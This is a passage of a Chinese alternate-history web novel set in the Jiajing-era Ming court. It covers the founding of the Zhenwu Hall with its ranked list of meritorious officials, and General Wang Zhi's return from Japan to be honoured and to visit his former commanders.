这也不难理解,自从宋朝之后,都是文强武弱,能通过科举入仕的,基本不会想着走武将的路线,这些想着将嫡长子送进来的,恐怕也是因为他们的嫡长子不堪大用,科举无望,才会想着走一走其他的路子。 至于那些嫡次子或者庶子,就更好理解了,很多家族之中,不想让他们和嫡长子竞争资源,或者不想让他们超过嫡长子,但又想让他们有所成就,好反哺家族,走武将路线是个不错的选择。 军事学院可是周楚执教的,周楚是谁?文武百官哪个不知道?周楚的学生,有一个简单的角色吗?哪怕是归有光等人,如今在京城之中也小有名气了,将来入仕完全不成问题。 只要能进军事学院,跟着周楚学行军打仗的本事,将来恐怕最低也是个千总。 这是很多人的想法。 周楚看了看名单,光看名单也看不出什么,毕竟对这些人都不怎么了解。 “陛下可以让人贴出布告,广而告之,大明所有百姓,凡是八岁以上,二十岁以下的,都有资格去参加学院的入门考核,臣准备在这个名单之中录取总数的三到五成,具体还要看他们有没有这个资格。” 周楚说道。 嘉靖听到这话,点了点头。 “朕这就安排。” 第381章 真武殿开,真武殿排名 和军事学院同时竣工的还有真武殿。 真武殿和军事学院不同,文武百官对军事学院的态度是矛盾且割裂的,一方面怕过些年周楚因为军事学院而尾大不掉。 另外一方面,又都想方设法将自己家的子孙送进军事学院之中,生怕错过这班车,所有的官员都可以预见,将来从军事学院出来的武将,会天然形成一个派系,那就是周系。 到了那个时候,他们家族倘若没人在周系之中,会吃大亏。 因此大部分官员都会安排一些嫡次子,甚至是嫡长子,看看能不能进军事学院。 真武殿则不同,真武殿切实的关系到每一个官员,如今京城的这些官员,甚至外地知道真武殿的,谁不想位列真武殿? 这可是名垂青史的好事。 因此真武殿开殿的那一天,嘉靖带着文武百官前来焚香祭天的时候,跟在嘉靖身后的百官看着如此恢弘的真武殿,一个个都心神荡漾,心里畅想着自己有一天如果能位列其中,那就真的死而无憾了。 “今日朕开真武殿,上告昊天金阙无上至尊自然妙有弥罗至真玉皇上帝,祖师北极法主真武佑圣灵应真君玄天上帝,望祖师护佑大明。” 嘉靖说着同时上了三炷香,随后恭敬行礼,嘉靖身后的文武百官跟着整齐划一地行礼。 “今日朕开真武殿,上告开天行道肇纪立极大圣至神仁文义武俊德成功高皇帝,永乐大帝,望祖宗护佑大明。” 嘉靖再次上香道。 第一个是洪武大帝的全称,朱元璋的皇帝称号很是唬人,至于朱棣则没那么多讲究,就只有永乐大帝这个称号,不过所有人都清楚,这真武殿主要供奉的,就是真武大帝和永乐大帝,在大明,永乐大帝一直都是真武大帝的人间化身。 玉帝和洪武大帝排在前面,是因为玉帝是真武大帝的上司,洪武大帝是大明的开国皇帝,还是永乐大帝的爹。 开真武殿的礼仪极其繁琐,不过无论是嘉靖,亦或是百官,都没有任何的不耐烦,礼仪越是繁琐,说明真武殿的含金量越高。 各种礼仪全部举行完毕之后,半天已经过去了。 真武殿大门这才被打开,黄锦拿着一封圣旨,来到了百官面前。 “现宣读第一批真武殿功臣名单以及排名。” 黄锦此话一出,文武百官顿时来了精神,纷纷看向黄锦,一个个都望眼欲穿,除了杨一清这些人知道自己肯定能进真武殿之外,有很大一批人对大明的贡献其实是差不多的,能不能进,全凭皇帝一句话。 这些人心中很是忐忑,心里期待着名单上能有自己。 “真武殿功臣第一:周楚周衡器大人。” 黄锦高声道。 对于第一,没人感到任何意外,倘若周衡器不能排在第一,百官真不清楚谁有资格排在周衡器前面了,毕竟大明能有如今的局面,周大人起码占了一半以上的功劳,这一点即便是无比痛恨周楚的夏言都不得不承认。 “恭喜周大人,周大人真是实至名归啊。” 周楚身旁的杨一清感慨道。 “是啊衡器,这真武殿恐怕是陛下特意为你设立的,我等不过是凑数的罢了。” 杨慎笑道。 “升庵先生说的哪里的话,大明能有如今的局面,全靠大家齐心协力,正所谓人力有时穷,在下一个人又能做多少呢?” 周楚听到这话,急忙反驳道。 这话周楚可不能接,不然不知道要被多少人记恨呢。 杨慎听到这话,笑了笑,对于周楚的功劳,他是最清楚的,他很清楚,大明可以没有他,可以没有任何一个官员,换成其他人一样可以。 但没了眼前的周衡器,大明就不会是如今的大明。 说不得还是当年那个正在步入腐朽的大明。 杨慎一向耿直,心里想什么就说什么。。 韩玠等人纷纷来到周楚面前,恭喜周楚。 黄锦宣布完周楚的名字之后,特意停了停,就是留给众人交流的时间,此时眼看众人交流的差不多了,这才再次开口。 “真武殿功臣第二:杨慎杨用修大人。” 第二是杨慎,这一点几乎是板上钉钉的,除了杨慎之外,其他任何人排在第二,都会遭到无数人的眼红和嫉妒。 并不是说杨慎的功劳多大,甚至可能排在第三的比杨慎的功劳还要大一些,但杨慎排在第二,能为后面那些人顶住很多火力。 倘若说第一是周楚,其他人没有任何想法的话,那么第二就会有无数人盯着,谁排在第二,就会被人记恨,但杨慎是个例外。 杨慎性子耿直,无论是朝堂上还是私下,都是堂而皇之,让人挑不出毛病,更何况杨慎身为大明文坛的魁首,谁也不想去得罪他,否则会遭到天下文人的口诛笔伐。 用杨慎来吸引火力,是嘉靖和周楚早就商议好的结果。 “恭喜杨阁老。” 韩玠等人急忙上前说道。 “恭喜升庵先生。” 周楚笑道。 “用修啊,恭喜恭喜。” 杨一清说道。 对于杨慎排在他前面,杨一清倒是没什么意外的,自从杨慎入阁以来,可谓是内阁之中最拼命的,杨慎不只是实心用事,关键是才能也不是一般人可以企及的,对于很多事的处理往往恰到好处。 甚至这些年在朝堂之上,杨慎提出了不少利国利民的政策,并且加以落实。 这一点,不管是内阁之中,亦或是其他官员都是比不了的。 杨一清自己知道自己的事,之前刚登上内阁首辅位置的时候,被没斗过周楚,之后就开始了好几年的摆烂,这两年才开始焕发生机,想要以此和杨慎比,还差了不少。 “承蒙陛下抬举,要我说,这第二应该给文徵明文大人才是。” 杨慎满脸认真道。 杨慎这么说,心里确实也是这么想的,在杨慎看来,文徵明的功劳应该比自己大不少,毕竟为大明彻底收复整个南洋,那是多大的功劳啊。 要知道之前的几年,大明一直对南洋虎视眈眈,却苦于没有出兵的理由,毕竟南洋那些小国都对大明称臣纳贡,自从大明收复安南之后,这些小国对大明的态度那叫一个恭敬。 这反而让嘉靖有些不好意思对他们动手了。 文徵明不止解决了出师有名的问题,还借由占城国君的名义,将南洋一统之后,再彻底归复大明,让大明的领土得到了极大的扩张。 虽说杨慎清楚,这其中恐怕少不了周衡器的谋划,还有胡汝贞和赵孟静这两个年轻人执行,但无论怎么说,一切的源头都是因为东吁王朝抓了文徵明,这是板上钉钉的事实,谁也夺不走属于文徵明的功劳。 “杨阁老谬赞了,下官如何担得起这第二。” 文徵明一直都认为自己这功劳领的很心虚,毕竟从头到尾,他也就被莽瑞体抓了,谋划是周楚做的,执行是胡宗宪和赵贞吉。 对于杨慎的话,文徵明自然是不敢认的。 “真武殿功臣第三:文壁文徵明大人。” 黄锦的声音再次响起。 文徵明排在第三,是嘉靖临时加上去的,之前定的第三是陆炳,毕竟嘉靖对自己的这个发小偏爱一些,文武百官也都是可以理解的。 不过文徵明在东南亚做的事,让嘉靖很难把他排在陆炳后面,毕竟陆炳面上的功劳就是收复安南,虽说安南是云瑾收复的,但他们都是一家人,云瑾早就把这个功劳让给大哥了。 不过收复安南和收复除了安南以外的整个南洋而言,难度显然不在一个层级,即便嘉靖偏爱陆炳,却也不好把文徵明排在陆炳后面。 更何况文徵明从出兵借口,到最后一统南洋,甚至都没让大明出兵,就解决了。 当初对黎朝出兵借口,还是欧阳必进给的。 对于文徵明的排名,基本没人有意见,甚至很多人心中觉得文徵明的排名低了,应该排在第二,不过这种想法也就在心里想想,自然是不会说出来的。 众人纷纷恭贺文徵明。 文徵明本人则有些发懵,文徵明想过自己会进真武殿,却从未想过排名会这么高,这让文徵明愈发的心虚,觉得自己是不是靠着胡汝贞这两个年轻人的功劳才能排名这么高。 “本官哪里当得起这第三名啊。” 文徵明说道。 “老师不必自谦,老师为大明解决了师出有名的问题,还彻底荡平了南洋,这份功劳,没人能比得上,排在第三,实至名归。” 周楚看到文徵明的表情,就知道他在想什么,周楚一直都清楚,文徵明对自己的功劳认知不足,毕竟在文徵明的视角里,他其实没做什么事,甚至文徵明觉得,自己当初都没死在东吁王朝,怎么配得上这么大的功劳。 但无论是从嘉靖的视角,还是其他人的视角,文徵明的功劳都是实至名归的,没有任何水分。 “真武殿功臣第四:陆炳陆文孚大人。” 黄锦继续宣读道。 此时的陆炳站在嘉靖旁边,护卫着嘉靖的安危,和众人离的比较远,众人纷纷递过去眼神,表示恭喜。 “真武殿排名第五:镇北大将军陆云瑾。” “真武殿排名第六:杨一清杨应宁大人。” “真武殿排名第七:抚远大将军林鹿。” “真武殿排名第八:欧阳必进大人。” “真武殿排名第九:孟继大人。” “真武殿排名第十:汪直将军。” ............ 随着一个个排名被黄锦念出来,自然是有人欢喜有人愁,像王宪、张璁以及韩玠等人,都是无比高兴,他们进了真武殿,排名还都不算低,都排在了十几名。 最高兴的就是那些原本不清楚自己能不能进,却进了的,虽然排名低了些,但高低是进入了真武殿,至于排名,以后有的是时间努力提升。 最难过的无外乎那些有希望进却没进去的。 很快,黄锦就把真武殿三十六功臣宣读完毕。 之所以是三十六个,是因为嘉靖取了天罡三十六这个数字。 “诸位爱卿,这个排名是朕斟酌再三排出来的进入真武殿的,不要自满,以后还有可能被其他人挤出来,没进的也不要丧气,以后有的是机会。” 嘉靖看着文武百官反应不一的神情,站出来开始给他们画起了大饼。 听到这话,原本还有些丧气的那些官员顿时恢复了过来。 对啊,以后有的是机会,何必为一时的得失而难过。 “朕特意取天罡三十六这个数字,唐朝的凌烟阁有二十四功臣,但朕觉得二十四个名额,不够朕用的,毕竟大明肯定是要超过盛唐的,将来我大明必定名臣辈出,猛将如云,像那胡汝贞和赵孟静,还未入仕,朕就先不把他们列入其中了,等他们入仕再说,要朕说,三十六也未必够用,不过也只能如此了。” 嘉靖笑道。 嘉靖此言一出,现场的气氛顿时轻松了许多。 “陛下圣明!” 杨一清高声道。 如果说这次真武殿排名最满意的是谁,那无疑是杨一清了,杨一清从未奢望过能排在前三,这个排名已经是杨一清想过的最高的排名了,以他这个年纪,还能赶上这趟末班车,杨一清有种恍若隔梦的错觉。 十几年前,正德一朝的时候,杨一清还在和同僚勾心斗角,年轻时候的杨一清不是现在这样的,那时候的杨一清怀揣着治国的抱负。 但真正入仕之后,杨一清才发现,这大明的官场,远比自己想象的要黑暗的多,这种黑暗不是来源于皇帝,整个官场背后似乎有一只黑手在推动。 后来杨一清明白了,这只黑手不是别的,正是江南的利益集团,或者说不止江南的利益集团,整个大明官场,分成了几个派系,其中江南一系占据主导地位。 这也让杨一清愈发的谨小慎微,愈发的厚黑,对同僚,能下死手的时候,杨一清绝不会留情。 至于年少时的梦想,杨一清也早已忘了。 但现在不同,如今的朝局清明,大家都想方设法为大明做出自己的贡献,这两年,杨一清仿佛回到了年轻的时候,他也想起了自己年轻时候的治国梦想。 这种感觉,让杨一清无比触动。 第382章 汪直回京,嘉靖的驭下之术 汪直很激动,这么多年,他数次向皇帝打申请,申请回大明休沐一段时间,不过嘉靖都以东瀛离不开他为由拒绝了。 现在嘉靖对于他休沐的请求,终于批准了,主要是东瀛的局势已经稳定了,汪直离开一段时间也没什么,无论是齐良驻守,亦或是林廌驻守,都不会出什么差错。 毕竟两人也在东瀛监管多年了,虽然不怎么过问这里的事物,但什么事该怎么处理,还是十分清楚的。 如今在东瀛值守的正是林廌,林廌和汪直之间的感情最是深厚,毕竟当初两人一起来到东瀛,共同为大明打下了如今在东瀛的基业,可谓是风里来雨里去,两人早已拜了把子,兄弟相称。 “大哥,你放心回去吧,这里有我帮你盯着呢,你这次可算是荣归故里了。” 林廌帮汪直整理了一下衣服,说道。 和汪直同僚这么多年,汪直不止一次的向林廌说起过他的过往,对于汪直的执念,林廌比谁都清楚,他很清楚自己的这个大哥,一直都想着回到大明,荣归故里,给他爹正式下葬。 虽说他爹早已尸骨无存,汪直却也保留着他的一些衣物,立个衣冠冢是没问题的。 落叶归根,一直都是华夏每一个子孙的心愿,汪直自然也不例外,他比谁都希望能让自己的爹落叶归根。 只是以前一直没有闯出个名头,甚至连自己的身份都没有了,自然是不敢回老家的。 更怕饿死在路上。 现在不同了,现在的汪直身为大明的将军,可谓是位高权重,此时回老家,绝对是衣锦还乡,这种场景,汪直无数次梦到过,眼看着就要真的实现了,汪直内心无比激动。 “那就有劳你了。” 汪直拍了拍林廌的肩膀,说道。 交代完林廌一些应该注意的事项之后,汪直登上了回大明的船,望着越来越远的海岸线,汪直内心唏嘘不已。 之前他奉周大人命来东瀛,没想到一来就是这么多年,这些年他在本州岛为大明打下了足够坚实的基础,也为大明挖掘了足够多的白银。 不过汪直很清楚,这一切并不是他的功劳,而是周大人的,所有的一切都是周大人规划好的,他不过是按照周大人说的去执行罢了。 换做任何一个人,只要不是太蠢,这件事都能做好。 区别在于,能否压制自己的野心。 这一点汪直一直都是清楚的。 原本汪直有些疑惑,周大人为何会选中自己,让自己带兵前往东瀛,在东瀛待了这么多年,汪直明白了,因为周大人看出来自己能控制住野心。 天高皇帝远的东瀛,任何一个人带领着数万大军,恐怕都很难控制住自己的野心,别说什么有人监管,真要是有想法,把监管者一刀砍了便是。 有时候汪直越想,越是觉得周大人看人真是准,一眼就看出了自己内心的诉求,在东瀛这么多年,汪直和林廌,以及齐良,最多的乐趣就是讨论大明的人和事,其中讨论的最多的便是周楚。 对于周楚这些年做的事,汪直虽然远在海外,却是十分清楚的,因此汪直内心对周楚愈发崇敬,他觉得周大人和陆将军对自己有再造之恩,没有周楚,就没有他的今日。 或许没有陆将军,没有周大人让陆将军当年在沿海招兵买马,现如今自己已经饿死了。 汪直不止一次的这么想过。 汪直乘坐运银船,一路漂洋过海,终于抵达了天津码头。 “见过汪直将军。” 天津码头上,早有锦衣卫在等待汪直,这些锦衣卫从汪直的服饰,一眼就看出了汪直的身份,纷纷行礼。 “诸位不必多礼。” 汪直有些受宠若惊道。 “陛下和周大人让我等在这里恭候大人,让大人随我等回京。” 为首的锦衣卫百户态度恭敬道。 “那就有劳诸位了。” 汪直听到这话,点了点头。 常年在海上漂,虽然这次坐船久了点,汪直却也没什么不适,简单适应了一会,就没了登上陆地的异样,直接从锦衣卫手中接过马,翻身上马,跟着一众锦衣卫向京城进发。 很快,汪直就抵达了京城的官驿。 “大人,您先修整一番,明日再进宫面见陛下。” 为首的锦衣卫百户行礼道。 汪直听到这话,点了点头,坐了这么久的船,再加上这一路奔波,确实得休整一下,别的不说,好好洗个澡是很有必要的。 “有劳诸位了。” 汪直回礼道。 锦衣卫离开之后,汪直在官驿痛快地洗了个澡,在船上洗澡很困难,船上淡水资源是很有限的,在海上航行,更不可能去海里洗澡,在船上这么久,汪直身上都快馊了。 如果是以往,这种问题无人在意,毕竟大家都是当兵的,臭点馊点倒也没什么,但明日就要去面见陛下了,汪直自然是无比激动,自然要以最好的状态进皇宫。 洗完澡之后,汪直吃了一顿之后,就痛快地睡了一觉。 第二天一早,那些锦衣卫去而复返,带着汪直前往皇宫之中。 这还是汪直第一次来京城,他忍不住左右看了看,特别是来到皇宫门口的时候,汪直内心顿感无比忐忑。 即便汪直在东瀛说一不二,掌握着无数东瀛人的生杀大权,此刻也如同一个普通小老百姓一般,无比激动。 倘若在几年前,他想都不敢想,自己有一天能进皇宫,还能去见皇帝。 进了皇宫,那些锦衣卫就退去了,在汪直前面引路的是一个太监,汪直跟在太监身后,一路向御书房走去,这一路汪直感觉轻飘飘的,觉得眼前的一切都是那么的不真实。 “是汪将军吧。” 汪直一路不敢抬头乱看,就看着前面太监的脚后跟,跟着太监走,很快就来到了御书房门口,听到了一个轻柔的声音。 汪直这才抬头去看,看到一个比自己年岁大一些的太监,正看着自己,此人不是别人,正是黄锦。 “末将正是汪直。” 汪直急忙行礼道。 “汪将军不必多礼,咱家黄锦,陛下让咱家在这里等候将军,将军随咱家来吧。” 黄锦说着转身进了御书房,汪直急忙跟了进去。 来到御书房之后,汪直不敢抬头,直接来到嘉靖的书案跟前,恭敬行礼。 “臣汪直,拜见陛下。” 这些礼仪,都是林廌临时教给他的,否则他是一点都不懂。 看着汪直蹩脚的行礼,嘉靖笑了笑,对于汪直的出身,嘉靖是清楚的,自然也清楚,汪直常年在军旅之中,对这些礼仪自然是不太懂的。 原本汪直进宫之前,应该有礼部的官员负责教他这些礼仪,不过那是对一般人,如今汪直是将军,领兵上限是五万,而且为大明立下了大功,嘉靖自然不会让礼部那些人再去对汪直指指点点。 “不必多礼,朕经常听衡器提起你,说你是一个忠君爱国之人,也是个有能力的人,原本朕还有些不信,现在看来,衡器是对的,这东瀛离了谁都可以,唯独离不开你。” 嘉靖笑道。 “陛下言重了,如今的东瀛已经稳定了,臣在与不在都是一样的,哪怕换一个人去,也没什么不同。” 汪直低头道。 “哪里能不一样?东瀛远在海外,换了其他人去,有几个能控制住自己的野心的,汪爱卿体恤朕,朕是明白的,这么多年,你为大明立下了汗马功劳,朕还没有正式封赏,如今一并封赏了吧。” 嘉靖正色道。 汪直听到这话,急忙跪倒在地。 “汪直为大明远征东瀛,建功无数,即日起,正式册封汪直为镇倭将军,赏黄金千两,白银五千两,丝绸....” 嘉靖将对汪直封赏说了出来。 “臣,谢陛下隆恩。” 汪直无比激动地叩首道。 方才嘉靖的那些交心之言,让汪直有种士为知己者死的冲动,此时嘉靖对他的封赏,让汪直觉得自己这么多年在东瀛的努力没有白费。 汪直出身太差,想要封大将军的话,还差不少,更何况汪直原本就是隶属于云瑾手下的,前往东瀛也是周楚和云瑾派他去的,一切的战略规划,也都是两人制定的。 说白了,汪直立下的功劳,有云瑾一部分,所以给汪直封大将军肯定是不合适的,不过嘉靖自然不会亏待汪直,特意给他册封了一个封号。 封号将军和普通的将军差距可就大了。 “起来吧,之前你总是给朕写折子,想要休沐,不过那时候东瀛离不开你,朕也就没准,你不会怪朕吧。” 嘉靖来到汪直面前,拍了拍他的肩膀道。 “陛下说的哪里的话?臣对陛下的忠心,日月可鉴。” 汪直此时恨不得将自己的心掏出来给嘉靖看看。 “不怪朕就好,这次回来,就好好休沐一段时间,也是时候回你老家一趟了,朕听衡器说过,令尊还没有落叶归根,到时候朕会派锦衣卫一路护送你,也好让令尊落叶归根。” 不得不说,嘉靖是一个好领导,完全知道属下的需求,现在汪直最迫切的需求就是荣归故里,嘉靖自然要给他做足排场。 “臣,多谢陛下。” 汪直再次跪倒在地,一头磕在地上。 “行了,不必这么多礼,这几日你就在京城好好逛一逛,第一次来京城吧。” 嘉靖有些责怪道。 对于嘉靖的体贴,汪直无比感动,内心总感觉想说些什么报效皇上,却又说不出来。 汪直离开皇宫之后,看了一眼送自己出来的黄锦。 “黄公公,敢问周大人的府邸在哪?” 汪直神情恭顺道。 “一句话也说不清楚,这样吧,咱家找个人带你过去。” 黄锦说着冲不远处的一个太监招了招手。 “干爹,您叫我什么事?” 那太监看到黄锦叫他,不敢怠慢,一路小跑来到了黄锦面前。 “你带着汪将军去周大人府上。” 黄锦说道。 “好嘞,干爹。” 太监说完这话,来到汪直面前。 “汪将军,随我来吧。” 这太监也是个秉性不错,眼皮子活的,否则也不会被黄锦收为干儿子,黄锦说周大人的时候,他并没有多问,虽说朝中姓周的官员不止周楚一个。 但能让自己干爹特意嘱咐的,却只有定国公周大人了。 这根本不需要多问。 汪直对黄锦递过去一个感激的神情,随后急忙跟上了太监的步伐。 “公公,我想先去备一些礼。” 汪直看着前面的太监,说道。 “应当的,这京城之中,云桂坊就是顶好的铺子,将军随咱家来吧。” 太监说着带着汪直直奔云桂坊去了。 两人来到云桂坊,汪直在云桂坊出手很是阔绰,很快就备好了厚礼,让云桂坊的人跟在自己身后,向周府去了。 “这位公公,所来何事?” 周府的门房看到太监,不敢怠慢,无论这个太监是宫里来的,亦或是公主府来的,都要好好接待。 “汪将军,您自己说吧,咱家就先回了。” 太监看着汪直,说道。 “有劳公公了。” 汪直说着从怀中拿出一锭五两的银子,递给了太监,这一点,也是临来之前,林廌反复叮嘱他的,让他在京城眼皮子活一些,能用银子的多用银子。 毕竟汪直在东瀛这么多年,最不缺的就是白银,即便汪直从未想着贪墨,也存下了上百万两白银。 他不拿,林廌和齐良都会想办法让他拿,否则林廌两人就不好拿。 当然,林廌和齐良也不白拿,每次都会孝敬给周楚不少,对于这一点,嘉靖是清楚的,几人拿的都不多,九牛一毛罢了,嘉靖自然是睁一只眼闭一只眼。 太监拿到银子,顿时露出了满意地笑容。 “将军您太客气了,得嘞,咱家还得回去向干爹复命,您忙吧。” 太监对汪直行礼道。 “在下汪直,曾经是周大人在军中的下属,特意前来,求见周大人。” 汪直看向周楚的门房,说明来意。 “大人稍等,容我去向老爷通报一声。” 门房行礼道。 第383章 感动的汪直,云瑾:怎么娘们唧唧的? 这些日子,周楚做的最多的就是陪云瑾和林瑶打麻将,第四个位置倒是经常换人,有时候是杨氏,有时候则是德清公主,或者两人都在,一个打,一个在一旁看着。 杨氏和德清公主见天的往周府跑,刚开始是因为自己的女儿有了身孕,为娘的不放心,特地来看看,现在是几乎每日都来,完全是想打麻将。 “老爷,外面有个自称汪直的大人,求见老爷。” 周楚眼看着听牌了,春兰走了进来低声道。 周楚听到这话,有些意外,没想到汪直居然回京了,一旁的云瑾听到汪直的名字也抬起了头,毕竟汪直是她亲自带出来的兵。 “汪直啊,得有好多年没见了吧,八万。” 云瑾一边说着一边出牌。 汪直因为从小没读过什么书,后来又一直在带兵打仗,是没有字号的。 “是啊,他去东瀛得有些年头了,胡了,胡八万,给钱给钱!” 周楚说着伸手要钱。 德清公主摸了摸下一张牌,顿时有些懊恼。 “衡器,你挡我财路,你这小屁胡,我下一张就该胡牌了。” 德清公主看着周楚,有些责怪道。 “那没办法,您老人家胡这么大,我不早点跑,等您胡了,我得输多少。” 周楚满脸得意道。 “让汪直去正厅吧。” 周楚说着把麻将往前一推,看了一眼门口站着的门房说道。 “我和云瑾先忙正事,你们先打着,让春兰先替我打。” 周楚看向一旁的德清公主,说道。 一旁观战了许久,手痒难耐的杨氏,顺势坐上了云瑾的位置。 “去吧去吧。” 周楚和云瑾来到正厅等了一会,汪直这才跟着门房来到了两人面前。 “属下拜见周大人,拜见陆将军。” 时隔多年的再次相逢,汪直早已不是当年的汪直,但在周楚和云瑾面前,仿佛回到了当年刚刚加入玄武军的时候,身为新兵的自己被云瑾练的死去活来的。 再次见到周楚和云瑾,汪直内心的激动可想而知。 “什么时候回京的?” 周楚看着汪直,笑道。 “属下昨日刚到京城,休整了半日,今日一早陛下召见,从皇宫出来就来见大人了。” 汪直恭敬道。 “还不错,比当年成熟多了,也有气度多了,当年瘦的跟个猴子一样,哪有当将军的气度。” 一旁的云瑾笑道。 听到这话,汪直不好意思的挠了挠头。 “赶紧坐吧,又没外人,干嘛一直站着。” 周楚指了指旁边的椅子,说道。 周楚和云瑾大婚的消息,汪直早就听林廌说过,此次前来周府,就是为了同时拜访两人。 听到周楚这话,汪直这才坐到了旁边的椅子上,一旁的侍女为他斟茶倒水。 “尝尝我这茶叶,这可是好茶叶,在东瀛你应该不大能喝得到吧。” 周楚喝了口茶道。 汪直听到这话,端起茶杯,喝了一口,入口微苦,随后开始回甘,口齿生津。 即便汪直这个大老粗不懂茶,也喝的出来,这茶是极好的。 “喜欢的话,回头带回去些,我这茶叶多的是。” 周楚看着汪直的模样,笑道。 “大人,这不太合适....” 汪直急忙推辞道。 “让你拿着就拿着,什么时候学会了这套假惺惺的了。” 云瑾在一旁责怪道。 汪直听到这话,又是不好意思的挠了挠头,在东瀛的时候,他可谓是说一不二,生杀予夺全在他一人,但在周楚和云瑾面前,他仍然是当年的那个新兵蛋子,显得无比拘谨。 “大人,属下离开大明这么多年,一直记挂着大人和陆将军,属下能有今日,全靠大人和陆将军的提携,否则属下能不能活到今日还不知道。” 汪直虽然嘴笨,却早已想好了来到周府该说什么,实际上这些话,早在东瀛的时候,他就打过无数次腹稿,他无数次幻想过自己回到京城,见到周大人和陆将军该如何说。 “汪直,你得明白一个道理,是我们需要你,是陛下需要你,同时也是大明需要你,你本身有这个能力,我们才会提拔你,我们为何不提拔其他人?其他人或许也有这个能力,但他们未必能控制得住自己的野心,很多人看似强大,实际上很弱小,他们根本控制不住自己的心,你明白吗?” 周楚摆了摆手,阻止了汪直那煽情的话。 “属下明白,陛下也和属下说过类似的话,属下定会对大人,对陛下忠心耿耿。” 汪直说着站了起来,恨不得跪在周楚面前,被周楚抬手阻止了。 “说话就说话,坐着就行,你现在好歹也是个将军了,怎么还这么毛躁?” 周楚说道。 汪直听到这话,悻悻地坐了回去。 “属下一直都清楚,当年玄武军之中,属下的能力和其他人相比,不算多么突出,甚至比属下厉害的也有不少,大人和陆将军能选中属下,定然还有其他考量。” 汪直诚恳道。 这些年齐良和林廌不断地和他说着大明发生的事,跟在周楚手下的林鹿封了抚远大将军,林鹿的功劳,汪直只是听听就觉得夸张,他自问自己做不到。 无论是林鹿亦或是汪直,都觉得对方很厉害,觉得自己能做到现在的一切,完全是因为周大人将一切都安排好了,他们不过是去执行罢了,这种事换成玄武军亦或是虎贲军之中任意一个千总,甚至是百户,都可以完成的很好,他们不过是运气好罢了。 甚至汪直还知道,当年玄武军和他一批的,有不少加入了前往弗朗机那边的军队,也都在建功立业,有几位也都成了将军。 因此汪直从未自满过,他觉得自己现在的位置,有很多人都可以取代,甚至可以做得更好。 真正厉害的人,从来都是周大人,甚至连陆将军,据自己的二弟说,都是周大人教出来的。 如今大明叫得上名字的将领,基本都是周大人教出来的,和周大人一比,汪直觉得自己和当年那个新兵也没多大区别。 “如今你也算是建功立业了,准备什么时候回老家?正所谓富贵不还乡,如锦衣夜行。” 周楚看着汪直,调侃道。 “属下准备过两日就出发。” 汪直有些不好意思道。 “应该的,尽早帮你爹落叶归根吧,钱你应该是不缺的,你自小没读过什么书,如今虽然成了将军,却也缺了诗书气,回头我让春兰给你拿一些名家字画,你带回去,以后传家也好,留着也罢,给你家中添一些文气,这次你回去,说媒的肯定是要踏破门槛的,趁着这个机会,顺道把婚事办了。” 周楚看着汪直,如同一个老父亲一般,叮嘱道。 汪直听到这话,眼泪差点下来了,自从他爹死后,再也没人为他这么周全的考虑过了。 在此时的汪直眼里,眼前的周楚虽然比他大不了多少,但周楚和云瑾在他眼中如父如母,没有眼前的这两人,就没有自己的今日。 “属下还未孝敬大人,怎敢让大人....” 汪直哽咽道。 “怎么说两句就哭哭啼啼的,像个娘们,你家大人最不缺的就是钱财,和你多年未见,也是高兴,这些东西在库房里放着也是放着,倒不如给你拿一些。” 一旁的云瑾眼看着汪直快哭了,有些嫌弃道。 自己带出来的兵怎么娘们唧唧的。 云瑾说话还是好使的,汪直瞬间想起了当年被云瑾支配的恐惧,急忙收敛情绪,不再说什么。 “一会留下吃顿饭,东瀛应该吃不到什么好东西,尝尝我府上厨子的手艺。” 周楚看着汪直,笑道。 “属下恭敬不如从命。” 汪直在东瀛这么多年,也不是一点进步都没有,他经常让林廌和齐良帮他从大明带书过去,还让两人教他读书识字,硬是靠着自学,读了不少书。 虽说学问和一般的秀才相比还差的很远,但言语之间已经不像之前那般粗鄙了。 很快,周楚叫来了一个下人。 “你去仁和公主府,叫齐良过来一趟。” 周楚说道。 “是,老爷。” 周楚叫齐良来,一来是为了陪酒,二来,齐良和汪直以前都是在东瀛,现在都在京城,自然是要见一面的。 很快,齐良就来到了周楚等人面前。 “属下见过大人,见过陆将军。” 齐良来到正厅之后,先是看到了周楚和云瑾,急忙行礼道。 “不必多礼了,你看看这是谁。” 周楚指了指一旁的汪直说道。 齐良这才注意到一旁的汪直,顿时无比惊喜。 “汪将军,你何时回京的?” 汪直又是一通解释,两人本就关系很好,现在在京城相见,自然是无比高兴,有着说不完的话。 “你们俩聊着吧,一会咱们几个好好喝一杯。” 周楚说着起身离开了,云瑾也跟着离开了。 两人在的话,汪直很是拘谨,倒不如让齐良他们两人好好叙叙旧。 “汪将军,我还没恭喜你呢。” 周楚两人离开之后,齐良看着汪直说道。 “恭喜我?恭喜我什么?” 汪直一脸懵逼道。 “你还不知道吧?陛下建立真武殿,将我大明的功臣位列其中,周大人位列第一,陆将军也林稚心也都在其中,你也在,而且排名很高,排在第十,兵部尚书、吏部尚书,还有很多朝中大员都排在你后面。” 齐良说道。 汪直听到这话,更懵了,真武殿刚刚开启没几日,他才刚从东瀛回来,自然是不知道的,这件事嘉靖和周楚都没说,嘉靖没说是想给汪直一个惊喜,周楚没说是觉得这种排名没什么了不起的,后面的那些排名都很水。 “齐大人,你和我好好说说这真武殿。” 汪直呼吸顿时变得有些急迫。 齐良听到这话,当即和他解释起了真武殿的作用和由来,汪直越听越上头,他从未想过,自己有一天会走到这样的高度,大明功臣第十? 汪直感觉自己有些晕乎乎的,觉得一切都不那么真实了。 “汪将军,你运气真好啊,还有我那表弟,林稚心,都是因为一早就跟着周大人,如今你们二人,一个是大将军,一个是将军,还都位列真武殿前十,我就是跟大人跟的晚了。” 齐良有些懊恼道。 齐良自问自己的本事是不输自己的表弟林鹿的,但人的机遇就是这样,早一点晚一点,往往差距很大。 虽说如今的齐良无论是身份地位都不低,甚至比原来高了不知道多少,但人就怕比较,有林鹿这个表弟做对照组,齐良内心总是很羡慕,羡慕自己的这个表弟在当初周大人被贬官去苏州的时候就跟着他了。 汪直自然也听出了齐良语气之中的羡慕。 “齐大人将来肯定也会进入真武殿,只要跟着周大人,有的是建功立业的机会。” 汪直安慰道。 齐良听到这话,点了点头。 “这话倒是没错,只要跟着周大人,还愁没有建功立业的机会吗?” “不说这个了,周大人府上的厨子,那可是京城一绝,醉仙楼听说过吧?那就是周大人开的,醉仙楼的厨子都未必比得上周大人府上的,咱们俩有口福了,在东瀛这么多年,汪将军嘴里都淡出鸟来了吧。” 齐良转移话题道。 